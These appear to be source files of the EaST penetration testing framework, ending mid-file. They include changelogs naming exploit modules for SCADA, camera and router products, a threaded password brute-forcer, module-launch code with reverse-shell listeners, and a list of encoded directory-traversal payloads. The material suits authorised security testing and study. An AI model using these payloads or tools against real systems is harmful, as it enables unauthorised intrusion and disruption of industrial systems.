[
  {
    "path": ".gitignore",
    "content": "*.pyc\nReports/\nLogs/\n/.idea\n/tmp/Webserver20160906100204\n/OUTPUTS\n/tmp\nexploits\n"
  },
  {
    "path": "3rdParty/ef_armo_pack_demo/LICENSE.txt",
    "content": "https://www.gnu.org/licenses/gpl-3.0.txt"
  },
  {
    "path": "3rdParty/ef_armo_pack_demo/changelog.txt",
    "content": "\n1.0\nSeptember 18, 2022\n\nefa_acunetix_sbo.py\nefa_adobe_coldfusion_2018_rce.py\nefa_apache_struts_rce.py\nefa_apache_tomcat_fu_rce.py\nefa_ATGCLabs_ActiveLN_HQLi.py\nefa_ATGCLabs_Freezer_Web_Acceess_HQLi.py\nefa_baidu_netdisk_dos.py\nefa_cisco_catalyst_2960_pe.py\nefa_cisco_license_manager_server_directory_traversal.py\nefa_CleverMic_1011S_12_ip_camera_info_disclosure.py\nefa_clinic_office5_db_management.py\nefa_delta_mcis_upsentry2012_privilege_escalation.py\nefa_dlink_dir8xx_pd.py\nefa_drupal_coder_rce.py\nefa_ebrigade_erp_4_5_esql.py\nefa_ezviz_cs_cv210_ipcamera_management_or_dos.py\nefa_ezviz_cs_cv210_ipcamera_snapshot.py\nefa_honeywell_hed1pr3_ipcamera_info_disclosure.py\nefa_iball_adsl2_router_rr.py\nefa_IceHRM_info_disclosure.py\nefa_inoerp_privilege_escalation.py\nefa_kaspersky_anti_virus_file_server_fd.py\nefa_kkmserver_2_1_26_16_dirtav.py\nefa_kkmserver_2_1_26_16_dos.py\nefa_levelone_wcs_2030_directory_traversal.py\nefa_navigate_cms_8.2_ab_rce.py\nefa_nelsonit_erp_6_3_1_esql.py\nefa_netwave_ip_camera_information_disclosure.py\nefa_openclinic_sqli.py\nefa_oracle_java_se_xxe.py\nefa_orient_ip33_sh14cp_snapshot.py\nefa_Socomec_RemoteView_PRO_afu_rce.py\nefa_sonicDICOM_privilege_escalation.py\nefa_symantec_messaging_gateway_dt.py\nefa_tp_link_tl_wa850re_rr.py\nefa_trendmicro_control_manager_sqli_rce.py\nefa_trendnet_tk_ip101_privilege_escalation.py\nefa_trend_micro_control_manager_fu_rce.py\nefa_trend_micro_threat_discovery_appliance_rce.py\nefa_typesetter_cms_dir_listing.py\nefa_uc_httpd_directory_traversal.py\nefa_upsmon_pro_fd.py\nefa_vstarcom_ip_camera_info_disclosure.py\nefa_weberp_sqli.py\nefa_wordpress_events_sqli.py\nefa_xnat_info_disclosure.py\nefa_zabbix_sqli.py\nefs_domoticz_4_9700_bof.py\nefs_domoticz_4_9700_sqli.py\nef_plc_wireless_router_GPN2_4P21-C-CN_afd.py"
  },
  {
    "path": "3rdParty/ef_scada_pack_demo/LICENSE.txt",
    "content": "https://www.gnu.org/licenses/gpl-3.0.txt"
  },
  {
    "path": "3rdParty/ef_scada_pack_demo/changelog.txt",
    "content": "\n1.0\nSeptember 18, 2022\n\nefa_delta_mcis_upsentry2012_info_disclosure.py\nefa_open_source_erp_arbitrary_sql_execution.py\nefa_open_source_erp_dir_trav.py\nefs_advantech_webaccess_8_3_2_dashboardconfig_afd.py\nefs_advantech_webaccess_8_3_2_dashboard_bsqli.py\nefs_advantech_webaccess_8_3_directory_traversal.py\nefs_advantech_webaccess_8_3_file_delete.py\nefs_advantech_webaccess_dashboardeditor_afd.py\nefs_atvise_3_2_afd.py\nefs_atvise_3_2_info_disclosure.py\nefs_autobase_netserver_dos.py\nefs_Becknoff_CX9020_Reboot.py\nefs_cogent_datahub_7_3_x_dos.py\nefs_delta_DIAEnergie_info_disclosure.py\nefs_DELTA_IA_Robot_DRAstudio_afd.py\nefs_DoMore_Designer_afd.py\nefs_eisbaer_scada_directory_traversal2.py\nefs_eisbaer_scada_dt.py\nefs_Elipse_E3_e3server_remote_stop.py\nefs_esa_automation_crew_webserver_dir_trav.py\nefs_GP_PRO_EX_WinGP_Runtime_afd.py\nefs_indigo_scada_information_disclosure.py\nefs_inductive_automation_7_6_4_designer_xxe.py\nefs_inductive_automation_ignition_7_5_4_bSQLi.py\nefs_inductive_automation_ignition_7_5_4_xxe.py\nefs_infrasightlabs_vscopeserver_privilege_escalation.py\nefs_IPESOFT_D2000_SCADA_DirTrav.py\nefs_kingscada_aeserver_dos.py\nefs_laquis_scada_directory_traversal.py\nefs_logi_cals_logi_RTS_dir_trav.py\nefs_logi_cals_logi_RTS_RTShttpd_DoS.py\nefs_loytec_lweb900_server_dir_trav.py\nefs_lsis_wXP_DoS.py\nefs_lsis_XP_Manager_DoS.py\nefs_moxa_mxview_dos.py\nefs_OpenAPC_BeamServer_DoS.py\nefs_OSHMI_remote_shutdown.py\nefs_PASvisu_dos.py\nefs_PeakHMI_Webserver_DirTrav.py\nefs_promotic_scada_dos.py\nefs_quickhmi_directory_traversal.py\nefs_rcware_dos.py\nefs_reliance_scada_directory_traversal.py\nefs_s3scada_remote_stop.py\nefs_SpiderControl_SCADA_Editor_DirTrav.py\nefs_trihedral_vtscada_dos.py\nefs_u_motion_builder_hardcoded_credentials.py\nefs_vbase_vokserver_info_disclosure.py\nefs_winplc7_webserver_arbitrary_file_disclosure.py\nefs_wintr_scada_hardcoded_credentials_directory_traversal.py"
  },
  {
    "path": "3rdParty/readme.txt",
    "content": "Add packs here. The license for 3rd party's should be the same as for East.\nYou should put exploits to directory \"your_pack_name/exploits/\"\n"
  },
  {
    "path": "README.md",
    "content": "![EaST Framework](https://github.com/C0reL0ader/EaST/blob/master/logo.png \"EaST Framework\")\n# «EAST» – «Exploits And Security Tools» penetration testing framework.\n\n## 1. Overview\nPentest framework environment is the basis of IT security specialist’s toolkit.\nThis software is essential as for learning and improving of knowledge in IT systems attacks and for inspections and proactive protection.\nThe need of native comprehensive open source pen test framework with high level of trust existed for a long time. That is why EAST framework was created for native and native friendly IT security markets.\nEAST is a framework that has all necessary resources for wide range exploits to run, starting from Web to buffer overruns.\nEAST differs from similar toolkits by its ease of use. Even a beginner can handle it and start to advance in IT security.\n\nMain features:\n* Framework security.\n    Software used for IT security must have a high level of user trust. Easy to check open source Python code realized in EAST. It is used for all parts of the framework and modules. Relative little amount of code eases its verification by any user. No OS changes applied during software installation.\n* Framework maximum simplicity.\n    Archive downloads, main python script start.py launches, which allows exploits start-stop and message traffic. All handled local or remotely via browser.\n* Exploits simplicity of creation and editing.\n    Possibility to edit and add modules and exploits on the fly without restart. Module code body is easy and minimal in terms of amount.\n* Cross-platform + minimal requirements and dependencies.\nTests for Windows and Linux. Should function everywhere where Python is installed. Framework contains all dependencies and does not download additional libraries.\n* Full capacity of vanilla pen test framework.\n    In spite of simplicity and “unoverload” the framework has all necessary resources for wide range exploits to run, starting from Web to buffer overruns.\n* Wide enhancement possibilities.\n    Third party developers can create their own open source solutions or participate in EAST development by use of Server-client architecture, message traffic API and support libraries.\n\n## 2. Requirements\n* [Python 2](https://www.python.org/downloads/)\n\n## 3. Usage\n    git clone https://github.com/C0reL0ader/EaST && cd EaST\n    python start.py [-p PORT] [--all-interfaces]\n\n## 4. Additional resources\n* Exploits and Security Tools Framework [website](http://eastfw.com/).\n* [EaST Exploits DB](http://eastexploits.com/)\n* [EaST exploits developer guide](https://github.com/C0reL0ader/EaST/wiki)\n* [Twitter](https://twitter.com/EAST_framework)\n"
  },
  {
    "path": "core/BruteForcer.py",
    "content": "#!/usr/bin/python\n\nimport sys\nimport os.path\nfrom threading import RLock, Thread\n\nRESOURCE_DIR = \"./\"\n\n\nclass BruteForcer:\n    \"\"\"\n        Class includes a generic threaded brute forcer logic\n    \"\"\"\n\n    def __init__(self):\n        self.maxthreads = 5\n        self.wordlist = os.path.join(RESOURCE_DIR, \"passwords.txt\")\n        self.wordlist_lock = RLock()\n        self.successful_guess = None    # the word that won\n        return\n\n    @staticmethod\n    def log(host=None, message=\"\"):\n        \"\"\"\n            Logger\n        \"\"\"\n        if not host:\n            host = \"127.0.0.1\"  # FIXME\n\n        message = \"(%s) %s\" % (host, message)\n        sys.stdout.write(\"[*] \" + str(message) + \"\\n\")\n\n    def get_next_word(self):\n        \"\"\"\n        Get the next word in wordlist, we lock since readline may not be atomic.\n        This code could go into some sort of auxiliary object that is more abstract later.\n\n        It returns False when it is out of words.\n        \"\"\"\n\n        #if a thread found one, it will set successful_guess\n        if self.successful_guess:\n            #so we pretend we are done.\n            return False\n\n        self.wordlist_lock.acquire()\n        try:\n            next_word = self.wordlistfd.readline().strip()\n        except EOFError:\n            self.wordlist_lock.release()\n            return False\n        self.wordlist_lock.release()\n        return next_word\n\n    def brute_loop(self):\n        \"\"\"\n        Override this with your connect/check loop.\n        Don't forget to check for self.HALT!\n        \"\"\"\n        self.log(\"Stub brute_loop called\")\n        return\n\n    def run(self):\n        if self.wordlist:\n            self.wordlistfd = file(self.wordlist, \"r\")\n        mythreads = []\n\n        if self.maxthreads <= 0:\n            self.log(\"Invalid maxthreads value recieved: %d\" % self.maxthreads)\n            return 0\n\n        self.log(\"Starting %d threads to brute force with\" % self.maxthreads)\n        for i in xrange(0, self.maxthreads):\n            \"\"\"\n                Start up a new thread for each run. These will call get_next_word as applicable.\n            \"\"\"\n            t = Thread(target=self.brute_loop())\n            t.setDaemon(True)\n            t.start()\n            mythreads += [t]\n\n        for a_thread in mythreads:\n            a_thread.join()\n            self.log(\"Thread finished\")\n\n        if self.successful_guess:\n            self.log(\"Found successful word: %s\" % self.successful_guess)\n            return 1\n\n        self.log(\"Exhausted brute force attempts - did not find successful word\")\n        return 0\n"
  },
  {
    "path": "core/Commands.py",
    "content": "# coding=utf-8\nimport os\nimport subprocess\nimport sys\nimport json\nimport logging\nimport inspect\nimport Modules\nimport PortScannerMT\nfrom Modules import ModulesHandler\nfrom OptionsParser import OptionsParser\nfrom ReportGenerator import ReportGenerator\nfrom ServiceMessagesHandler import ServiceMessagesHandler\nfrom uuid import uuid4\n\nFW_ROOT_PATH = os.path.normpath(os.path.join(os.path.dirname(os.path.abspath(__file__)), '..'))\nEXPLOITS_PATH = os.path.join(FW_ROOT_PATH, 'exploits')\nLISTENER_PATH = os.path.join(FW_ROOT_PATH, 'listener', 'listener.py')\nPACKS_PATH = os.path.join(FW_ROOT_PATH, '3rdParty')\n\n\nclass APIClient:\n    def __init__(self, wsclient):\n        self.wsclient = wsclient\n\n    def check_coding(self, kwargs):\n        for key, value in kwargs.items():\n            if type(value) is unicode:\n                value = value.encode('utf-8')\n            if type(value) is str:\n                try:\n                    value.decode('utf-8')\n                except UnicodeDecodeError:\n                    value = value.decode('utf-8', 'replace')\n            kwargs[key] = value\n\n    def hello(self, module_name, type):\n        args = json.dumps(dict(hello=dict(name=module_name, type=type), uuid=str(uuid4())))\n        self.wsclient.send(args)\n        self.wsclient.recv()\n\n    def send_command(self, command, **kwargs):\n        cmd = dict(command=command, args=kwargs, uuid=str(uuid4()))\n        try:\n            req = json.dumps(cmd)\n        except UnicodeDecodeError:\n            self.check_coding(kwargs)\n            req = json.dumps(cmd)\n        self.wsclient.send(req)\n        res = self.wsclient.recv()\n        res = json.loads(res)\n        return res['args']\n\n\nclass API:\n    def callable(foo):\n        def api_wrapped(self, *args, **kwargs):\n            return foo(self, *args, **kwargs)\n\n        setattr(api_wrapped, '__wrapped__', foo)\n        return api_wrapped\n\n    callable = staticmethod(callable)\n\n    def __init__(self):\n        pass\n\n\nclass Commands(API):\n    def __init__(self, server):\n        API.__init__(self)\n        self.commands = self.get_api_functions()\n        self.server = server\n        self.available_modules = self.get_all_modules_paths()\n        self.modules_handler = ModulesHandler(self)\n        self.logger = logging.getLogger()\n        self.options_parser = OptionsParser()\n        self.port_scanner = PortScannerMT.Scanner(4000, 5000)\n        self.report_generator = ReportGenerator()\n        self.service_messages_handler = ServiceMessagesHandler()\n\n    def get_api_functions(self):\n        \"\"\"\n        Find all api_wrapped methods in class Commands\n        Returns (dict): method name => method\n        \"\"\"\n        api_methods = {k: v for k, v in vars(self.__class__).items() if\n                       inspect.isfunction(v) and v.__name__ == 'api_wrapped'}\n        return api_methods\n\n    def get_all_modules_paths(self):\n        \"\"\"Get common modules and modules from packs if available\"\"\"\n        exploits = Modules.get_modules_names_dict(EXPLOITS_PATH)\n        if not os.path.exists(PACKS_PATH):\n            os.makedirs(PACKS_PATH)\n        files = os.listdir(PACKS_PATH)\n        for f in files:\n            path_to_pack = os.path.join(PACKS_PATH, f)\n            if os.path.isdir(path_to_pack):\n                pack_dirs = [fname.lower() for fname in os.listdir(path_to_pack)]\n                if \"exploits\" in pack_dirs:\n                    full_path_to_pack_exploits = os.path.join(path_to_pack, 'exploits')\n                    exploits.update(Modules.get_modules_names_dict(full_path_to_pack_exploits))\n        return exploits\n\n    def _get_wrapped_function_required_args(self, func):\n        if not hasattr(func, '__wrapped__'):\n            return None\n        args_spec = inspect.getargspec(func.__wrapped__)\n        # Now slice 2 first arguments(self, client) and kw_args\n        required_args = args_spec.args[2: - len(args_spec.defaults or [])]\n        return args_spec.args, required_args\n\n    def execute(self, message, client):\n        \"\"\"\n        Execution of command from websocket-client\n        @param message:(Dict)  Object, containing keys \"command\" and \"args\"\n        @param client:(WebSocketHandler) Websocket client handler. Used to send response from server to this client\n        \"\"\"\n        if not message or type(message) is not dict or \"command\" not in message or \"args\" not in message:\n            self.send_error(client, 'Error while handling request')\n            return\n        command = message[\"command\"]\n        args = message[\"args\"]\n        uuid = message.get('uuid')\n        args = args if args else {}\n        if command not in self.commands:\n            self.send_error(client, 'Wrong command')\n            return\n        func = self.commands[command]\n        func_args, func_req_args = self._get_wrapped_function_required_args(func)\n\n        # find missing or excess args\n        func_args_set = set(func_args)\n        func_req_args_set = set(func_req_args)\n        input_args_set = set(args)\n        intersection = func_req_args_set.intersection(input_args_set)\n        # missing\n        if len(intersection) != len(func_req_args_set):\n            diff = func_req_args_set.difference(input_args_set)\n            msg = 'Following required parameters are missing: %s' % ', '.join(diff)\n            print(command, 'Error: %s' % msg)\n            self.send_error(client, msg)\n            return\n        diff = input_args_set.difference(func_args_set)\n        if diff:\n            msg = 'Following parameters are excess: %s' % ', '.join(diff)\n            print(command, 'Error: %s' % msg)\n            self.send_error(client, msg)\n            return\n        # if no errors call func\n        resp = func(self, client, **args)\n        if uuid:\n            client.send_message(dict(command='on_callback', args=resp, uuid=uuid))\n\n    @API.callable\n    def start_module(self, client, module_name, use_listener, use_custom_port=False, custom_port=0, listener_type=1, options={}):\n        \"\"\"\n        Runs a module\n        Args:\n            module_name: (string) Name of module\n            use_listener: (bool) If True - enable listener for module\n            use_custom_port: (bool) Use custom listener port\n            custom_port: (int) Custom listener port\n            listener_type: (int) 1 - reverse, 2 - bind\n            options: (dict) Option of module set up in GUI\n        Returns:\n            (dict):\n                'module_name': (string) Unique name of running module\n                'listener': (bool) Is listener enabled\n        \"\"\"\n        if module_name not in self.available_modules:\n            print('There is no module with name %s' % module_name)\n            return\n        module_path = self.available_modules[module_name]\n        new_module_name = self.modules_handler.make_unique_name(module_name)\n        options = self.options_parser.parse_data(options)\n        running_module = self.modules_handler.register_process(new_module_name, module_name, options)\n        if use_listener and listener_type == 1:\n            exclude_ports = self.modules_handler.get_busy_ports_list()\n            if use_custom_port and custom_port:\n                if custom_port in exclude_ports or self.port_scanner.check_port_state(custom_port):\n                    message = 'Lister port %d is busy. Try another port for listener' % custom_port\n                    return self.make_error(message)\n                listener_options = dict(PORT=custom_port)\n            else:\n                free_socket_data = self.port_scanner.scan(search_for='closed', first_match=True, nthreads=10,\n                                                          exclude=exclude_ports)\n                listener_options = dict(PORT=free_socket_data[0][1])\n            running_module.listener_options = listener_options\n            listener_process = subprocess.Popen([sys.executable, LISTENER_PATH, new_module_name], shell=False, env=os.environ.copy())\n            self.modules_handler.add_listener_pid(new_module_name, listener_process.pid)\n        process = subprocess.Popen([sys.executable, module_path, new_module_name], shell=False, env=os.environ.copy())\n        self.modules_handler.add_module_pid(new_module_name, process.pid)\n        return dict(module_name=new_module_name, listener=use_listener)\n\n    @API.callable\n    def install_via_pip(self, client, library_name):\n        \"\"\"\n        Install python module via pip\n        Args:\n            library_name: Name of module to install\n        \"\"\"\n        import subprocess\n        try:\n            proc = subprocess.Popen(['pip', 'install', library_name])\n        except Exception as e:\n            print e\n            return self.make_error('Can\\'t install module %s' % library_name)\n        else:\n            proc.communicate()\n            if proc.returncode == 0:\n                self.service_messages_handler.remove_import_error(library_name)\n                return dict(module_to_import=library_name)\n            return self.make_error('Can\\'t install module %s' % library_name)\n\n    @API.callable\n    def get_all_server_data(self, client):\n        \"\"\"\n        Returns dict of modules, version, service messages\n        \"\"\"\n        data = []\n        self.service_messages_handler.reset()\n        for name in self.available_modules:\n            data.append([self.available_modules[name], name])\n        available_modules = self.modules_handler.get_modules_info(data)\n        service_messages = self.service_messages_handler.get_grouped()\n        # Get framework version\n        module = self.modules_handler.import_from_uri(\"start.py\", False)\n        version = \"?\"\n        if module and hasattr(module, \"VERSION\"):\n            version = module.VERSION\n        return dict(modules=available_modules, version=version, serviceMessages=service_messages)\n\n    @API.callable\n    def get_modules_log(self, client):\n        \"\"\"\n        Get all modules and listeners log\n        \"\"\"\n        modules = self.modules_handler.get_full_log()\n        return modules\n\n    @API.callable\n    def kill_process(self, client, module_name):\n        \"\"\"\n        Kills running processes of module and listener if exists\n        Args:\n            module_name: (string) Name of module\n        \"\"\"\n        if module_name not in self.modules_handler.running_modules:\n            return\n        self.modules_handler.kill_process(module_name)\n\n    @API.callable\n    def register_module_message(self, client, message, state, module_name, type='text', inline=False, replace=False):\n        \"\"\"\n        Add log message from module\n        Args:\n            message: (string) Message from module\n            state: (bool or None) State of module(success, fail or nothing)\n            module_name: (string) Name og running module\n            type: (string) text or image\n            inline: (bool) Write on last line if True\n            replace: (bool) Replace last line if True\n        \"\"\"\n        module = self.modules_handler.add_message(module_name, message, state, inline, replace, type)\n        message = {\"command\": \"on_module_message\",\n                   \"args\": {\n                       \"module_name\": module.module_name,\n                       \"message\": module.log[-1].formatted(),\n                       \"state\": state\n                   }}\n        # TODO REPORTS\n        # if state is not None:\n        #     self.generate_report(pid)\n        self.send_message_to_ui(message)\n        return dict(message=\"ok\")\n\n    @API.callable\n    def get_module_options(self, client, module_name):\n        \"\"\"\n        Send options of module to gui\n        Args:\n            module_name: real module name without '.py' extension\n        Returns:\n            (list) List of options from module's dict OPTIONS\n        \"\"\"\n        if module_name in self.available_modules:\n            opts = self.modules_handler.get_available_options_for_module(self.available_modules[module_name])\n        opts = self.options_parser.prepare_options(opts)\n        json_resp = []\n        for key in opts:\n            json_resp.append(dict(option=key, value=opts[key]))\n        return json_resp\n\n    @API.callable\n    def get_module_args(self, client, module_name):\n        \"\"\"\n        Get module options changed by GUI\n        Args:\n            module_name: (string) Name of running module\n        Returns:\n            (dict) Dict of options\n        \"\"\"\n        resp = self.modules_handler.get_changed_options(module_name)\n        return resp\n\n    @API.callable\n    def gui_command_to_listener(self, client, module_name, message):\n        \"\"\"\n        Sends command from GUI to listener\n        Args:\n            module_name: (string) Name of running module\n            message: (string) Message for listener from gui(os command)\n        \"\"\"\n        self.modules_handler.add_listener_message(module_name, \">> \" + message)\n        args = dict(module_name=module_name, message=message)\n        self.send_message_to_listener(module_name, args)\n\n    @API.callable\n    def on_listener_message(self, client, module_name, message, state):\n        \"\"\"\n        Add message from listener to gui or get last command from gui to listener\n        Args:\n            module_name: (string) Name of running module\n            message: (string) Message from listener\n            state: (int)  0 - shell is not connected\n                          1 - shell connected\n                          2 - shell disconnected\n        \"\"\"\n        self.modules_handler.add_listener_message(module_name, message, state)\n        data = dict(command=\"on_listener_message\", args=dict(module_name=module_name, state=state, message=message))\n        self.send_message_to_ui(data)\n\n    @API.callable\n    def get_listener_options(self, client, module_name):\n        \"\"\"\n        Get listener options by listener PID or module PID\n        Args:\n            module_name: (string) Name of running module\n        \"\"\"\n        if not module_name:\n            return self.make_error('PIDs are not specified')\n        options = self.modules_handler.get_module_inst_by_name(module_name).listener_options\n        return options\n\n    @API.callable\n    def add_listener_options(self, client, module_name, options):\n        \"\"\"\n        Adds/Changes options of listener\n        Args:\n            module_name: (string) Name of running module\n            options: (dict) listener options\n        \"\"\"\n        module = self.modules_handler.get_module_inst_by_name(module_name)\n        module.listener_options = options\n        return {\"re\"}\n\n    @API.callable\n    def add_listener_pid(self, client, module_name, pid):\n        \"\"\"\n        Adds listener PID to running module instance\n        Args:\n            module_name: (string) Name of running module\n            pid: (int) Listener PID\n        \"\"\"\n        self.modules_handler.add_listener_pid(module_name, pid)\n\n    @API.callable\n    def get_source(self, client, module_name):\n        \"\"\"\n        Get source code of module\n        Args:\n            module_name: (string) real module name, without '.py' extension\n        \"\"\"\n        with open(self.available_modules[module_name]) as f:\n            lines = f.read().splitlines()\n            source = \"\\n\".join(lines)\n        return dict(message=source, module_name=module_name)\n\n    @API.callable\n    def save_source(self, client, module_name, message):\n        \"\"\"\n        Save edited source code of module\n        Args:\n            module_name: (string) real module name, without '.py' extension\n            message: (string) Edited source code of module\n        \"\"\"\n        host, port = client.socket.getsockname()\n        if \"localhost\" not in host and \"127.0.0.1\" not in host:\n            message = \"Only localhost user can save sources\"\n            self.send_error(client, message)\n            return\n        code = message.encode('utf-8')\n        with open(self.available_modules[module_name], 'wb') as f:\n            f.write(code)\n        self.send_info(client, 'Module %s successfully changed' % module_name)\n\n    @API.callable\n    def is_listener_connected(self, client, module_name):\n        \"\"\"\n        Get info about state of listener\n        Args:\n            module_name: (string) Name of running module\n        \"\"\"\n        state = None\n        module = self.modules_handler.get_module_inst_by_name(module_name)\n        if module:\n            state = module.is_shell_connected\n            if state == 0:\n                state = False\n            elif state == 1:\n                state = True\n        resp = dict(state=state)\n        return resp\n\n    def make_error(self, error_msg):\n        return dict(error=True, message=error_msg)\n\n    def send_error(self, client, error_msg):\n        client.send_message(dict(command='on_error', args=dict(message=error_msg)))\n\n    def send_info(self, client, info_msg):\n        client.send_message(dict(command='on_info', args=dict(message=info_msg)))\n\n    def generate_report(self, module_name):\n        module_inst = self.modules_handler.get_module_inst_by_name(module_name)\n        info = self.modules_handler.get_module_info((self.available_modules[module_inst.original_name], module_name))\n        module_vars = {\n            \"LOG\": module_inst.log,\n            \"RESULT\": module_inst.state,\n            \"OPTIONS\": module_inst.options\n        }\n        listener_vars = {\n            \"IS_SHELL_CONNECTED\": module_inst.is_shell_connected,\n            \"LISTENER_OPTIONS\": module_inst.listener_options,\n            \"LISTENER_LOG\": '\\n'.join(module_inst.listener_messages)\n        }\n        module_vars.update(info)\n        module_vars.update(listener_vars)\n        module_vars[\"CVE\"] = module_vars[\"CVE Name\"]\n        self.report_generator.append_module(module_vars)\n\n    def send_message_to_ui(self, message):\n        self.server.send_message_to_all_uis(message)\n\n    def send_message_to_listener(self, module_name, message):\n        self.server.send_message_to_listener(module_name, message)\n"
  },
  {
    "path": "core/DirectoryTraversal.py",
    "content": "# simple class for directory traversal vulnerbility\nclass DirTrav:\n\n\tdef __init__(self):\n\t\tself.xpath = []\n\t\tself.xpath.append(\"../\")\n\t\tself.xpath.append(\"..\\\\\")\n\t\tself.xpath.append(\"....//\")\n\t\tself.xpath.append(\"..../\")\n\t\tself.xpath.append(\".../\")\n\t\tself.xpath.append(\"....\\\\\\\\\")\n\t\tself.xpath.append(\"...\\\\\\\\\")\n\t\tself.xpath.append(\"./\")\n\t\tself.xpath.append(\"%80../\")\n\t\tself.xpath.append(\"%80..\\\\\")\n\t\tself.xpath.append(\"%%32%65\")\n\t\tself.xpath.append(\"%2%65%2%65%2%66\")\n\t\t#----------LowerCase start\n\t\tself.xpath.append(\"%5c../\")\n\t\tself.xpath.append(\"..%5c/\")\n\t\tself.xpath.append(\"..%5c\")\n\t\tself.xpath.append(\"%2e%2e%2f\")\n\t\tself.xpath.append(\"%2e%2e/\")\n\t\tself.xpath.append(\"%2e%2e\\\\\")\n\t\tself.xpath.append(\"..%2f\")\n\t\tself.xpath.append(\"%2e%2e%5c\")\n\t\tself.xpath.append(\"%252e%252e%255c\")\n\t\tself.xpath.append(\"%252e%252e%252f\")\n\t\tself.xpath.append(\"..%255c\")\n\t\tself.xpath.append(\"..%c1%1c\")\n\t\tself.xpath.append(\"..%c0%af\")\n\t\tself.xpath.append(\"%%32e%%32e%%32f\")\n\t\tself.xpath.append(\"%u002e%u002e%u002f\")\n\t\t#----------LowerCase end\n\t\t#----------UpeerCase start\n\t\tself.xpath.append(\"%5C../\")\n\t\tself.xpath.append(\"..%5C/\")\n\t\tself.xpath.append(\"..%5C\")\n\t\tself.xpath.append(\"%2E%2E%2F\")\n\t\tself.xpath.append(\"%2E%2E/\")\n\t\tself.xpath.append(\"%2E%2E\\\\\")\n\t\tself.xpath.append(\"..%2F\")\n\t\tself.xpath.append(\"%2E%2E%5C\")\n\t\tself.xpath.append(\"%252E%252E%255C\")\n\t\tself.xpath.append(\"%252E%252E%252F\")\n\t\tself.xpath.append(\"..%255C\")\n\t\tself.xpath.append(\"..%C1%1C\")\n\t\tself.xpath.append(\"..%C0%AF\")\n\t\tself.xpath.append(\"%%32E%%32E%%32F\")\n\t\tself.xpath.append(\"%U002E%U002E%U002F\")\n\t\t#----------UpperCase end\n\n\tdef make_path(self, path, file_name, count):\n\t\ta = \"\"\n\t\tfor i in xrange(0, count):\n\t\t\ta = a + path\n\t\treturn a + file_name\n\n"
  },
  {
    "path": "core/Modules.py",
    "content": "﻿import datetime\nimport sys\nimport os\nimport imp\nimport logging\nimport traceback\nfrom modulefinder import ModuleFinder\n\n\nclass ModuleMessageElement:\n    def __init__(self, message, type=\"text\"):\n        self.time = datetime.datetime.now().strftime(\"%Y-%m-%d %H:%M:%S\")\n        self.message = message\n        self.type = type\n\n    def formatted(self):\n        return {\n            \"time\": self.time,\n            \"message\": self.message,\n            \"type\": self.type\n        }\n\n\nclass RunningModule:\n    def __init__(self, module_name, options, pid=None, listener_pid=None, listener_options=None):\n        self.module_name = module_name\n        self.original_name = \"\"\n        self.pid = pid  # pid of running module\n        self.options = options\n        self.log = []  # Log messages\n        self.state = None  # None - module is run, True - succeeded, False - failed\n        self.listener_options = listener_options if listener_options else {}\n        self.listener_pid = listener_pid\n        self.is_shell_connected = 0\n        self.listener_messages = []\n\n\nclass ModulesHandler:\n    def __init__(self, commands_handler):\n        self.commands_handler = commands_handler\n        self.server = commands_handler.server\n        self.running_modules = {}\n        # Options of every module\n        self.modules_options = {}\n        self.logger = logging.getLogger(__name__)\n        self.logger.info(\"Initializing modules handler\")\n\n    def add_module_pid(self, module_name, pid):\n        module = self.running_modules.get(module_name)\n        if module:\n            self.server.add_process(pid)\n            module.pid = pid\n\n    def add_listener_pid(self, module_name, pid):\n        module = self.running_modules.get(module_name)\n        if module:\n            self.server.add_process(pid)\n            module.listener_pid = pid\n\n    def add_message(self, module_name, new_message, state=None, inline=False, replace=False, type='text'):\n        if module_name in self.running_modules:\n            if inline:\n                current_message = self.running_modules[module_name].log[-1].message\n                self.running_modules[module_name].log[-1].message = current_message + new_message\n            else:\n                self.running_modules[module_name].log.append(ModuleMessageElement(new_message, type))\n            if replace:\n                self.running_modules[module_name].log[-1].message = new_message\n            if state is not None:\n                self.running_modules[module_name].state = state\n            return self.running_modules[module_name]\n\n    def add_listener_message(self, module_name, message, state=None):\n        if module_name in self.running_modules:\n            module = self.running_modules[module_name]\n            module.listener_messages.append(message)\n            if state:\n                module.is_shell_connected = state\n                if state == 2:\n                    self.server.remove_process(module.listener_pid)\n\n    def register_process(self, module_name, original_name, options):\n        \"\"\"\tRegister new running module as process\n        @param module_name: Module name\n        @param process: subprocess.Popen() instance\n        \"\"\"\n        new_process = RunningModule(module_name, options)\n        new_process.original_name = original_name\n        self.running_modules[module_name] = new_process\n        return new_process\n\n    def kill_process(self, module_name):\n        \"\"\"\tKill process and remove it from list of running modules\n        :param pid: PID of running process\n        \"\"\"\n        if module_name not in self.running_modules:\n            return\n        module = self.running_modules[module_name]\n        self.server.remove_process(module.pid)\n        self.server.remove_process(module.listener_pid)\n        del self.running_modules[module_name]\n\n    def get_full_log(self):\n        log = {}\n        for module_name in self.running_modules:\n            message_elements = self.running_modules[module_name].log\n            temp_messages = []\n            for element in message_elements:\n                temp_messages.append(element.formatted())\n            log[module_name] = dict(\n                state=self.running_modules[module_name].state,\n                message=temp_messages,\n                listener=self.running_modules[module_name].listener_messages\n            )\n        return log\n\n    def get_module_log(self, module_name):\n        if module_name not in self.running_modules:\n            return None\n        module = self.running_modules[module_name]\n        message_elements = module.log\n        temp_messages = []\n        for element in message_elements:\n            temp_messages.append(element.formatted())\n        log = dict(\n                state=self.running_modules[module_name].state,\n                message=\"\\n\".join(temp_messages),\n                new_messages=self.running_modules[module_name].new_messages\n        )\n        self.running_modules[module_name].new_messages = False\n        return log\n\n    def import_from_uri(self, uri, absl=True):\n        \"\"\"Import module by given path\n        :param uri: (string) Path to module\n        :param absl: (bool) Is path absolute\n        :return: python module instance\n        \"\"\"\n        if not absl:\n            uri = os.path.normpath(os.path.join(os.path.dirname(__file__), \"../\" + uri))\n        path, fname = os.path.split(uri)\n        mname, ext = os.path.splitext(fname)\n        no_ext = os.path.join(path, mname)\n        if os.path.exists(no_ext + '.py'):\n            try:\n                return imp.load_source(mname, no_ext + '.py')\n            except ImportError as e:\n                finder = ModuleFinder()\n                finder.run_script(no_ext + '.py')\n                bad_imports = map(lambda mod_tup: mod_tup[0],\n                                  filter(lambda x: x[1].get('__main__'), finder.badmodules.items()))\n                for mn in bad_imports:\n                    self.commands_handler.service_messages_handler.add_message(e.message,\n                                                                               module_with_unknown_import=mname,\n                                                                               module_to_import=mn)\n                print 'Error: module %s requires %s' % (mname, ', '.join(bad_imports))\n            except:\n                res = []\n                exc_type, exc_value, exc_traceback = sys.exc_info()\n                formatted_lines = traceback.format_exc().split('\\n')\n                res.append(formatted_lines[0])\n                